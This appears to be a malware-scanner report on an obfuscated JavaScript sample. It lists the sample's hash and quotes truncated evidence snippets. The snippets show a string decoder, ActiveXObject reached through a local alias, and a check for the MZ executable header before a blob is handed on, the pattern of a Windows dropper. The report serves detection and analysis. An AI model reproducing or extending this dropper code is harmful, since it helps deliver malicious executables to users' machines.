Hostile ^100% javascript-malware-collection Download

20161221_194dae4e5b6ac35b529f64b56018eb80.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2568993a9be4eabe23c7dc8c7d6ac484120d11068e086e7d62de4b0dfffc8c934a4

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–9

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikqualificationFROG2XCOP = 0;	
9     var SupchikqualificationRazlomSS, SupchikqualificationFROG2ddDccC2, Supchikquali …

JavaScript empty-string accumulator initializer lines 9–14

9:111… ualificationFROG2c4;
10
11     var SupchikqualificationFROG2out = "";
12
13	 var SupchikqualificationFROG2Supchikqualificationka= this.replace(/FROSTICK/gi, SupchikqualificationFROG2out);
14 var  SupchikqualificationFROG2len = Supchikqualif …

charCodeAt() method call lines 18–20

19… lificationkoch = SupchikqualificationFROG2Supchikqualificationka.charCodeAt(SupchikqualificationFROG2XCOP++) &(0x132- 0x33);
          SupchikqualificationRazlomSS = levitron[Supchikqualificationkoch];
      } while (SupchikqualificationFROG2XC …

ActiveXObject via local alias lines 185–188

34… SupchikqualificationFROG2DoUtra.pop();
186SupchikqualificationFROG2fabled="Valar2Morgulis";
var SupchikqualificationFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikqualificationFROG2d2.split("45");SupchikqualificationFROG2Native.SupchikqualificationFROG2typize=function(a,b){a.type||(a.type=function(a){return Supchikqualificati …

Checks array for PE magic bytes lines 257–264

102… 
if(SupchikqualificationTalabaevLaa < 29989)return false;
if (SupchikqualificationTalabaev[0]!= 77 || SupchikqualificationTalabaev[1]!= 90)return false;		
SupchikqualificationFROG2CHICKA = SupchikqualificationFROG2CHICKA  + SupchikqualificationFROG2SIDRENKOV;
REBEKK2(SupchikqualificationFROG2CHICKA, SupchikqualificationTalabaev );
262
var SupchikqualificationFROG2ddsSSddSd = ",happy";
264SupchikqualificationFROG2ddsSSddSd = (SupchikqualificationFROG2StrokaParam2,"undl") + (SupchikqualificationFROG2StrokaParam2, …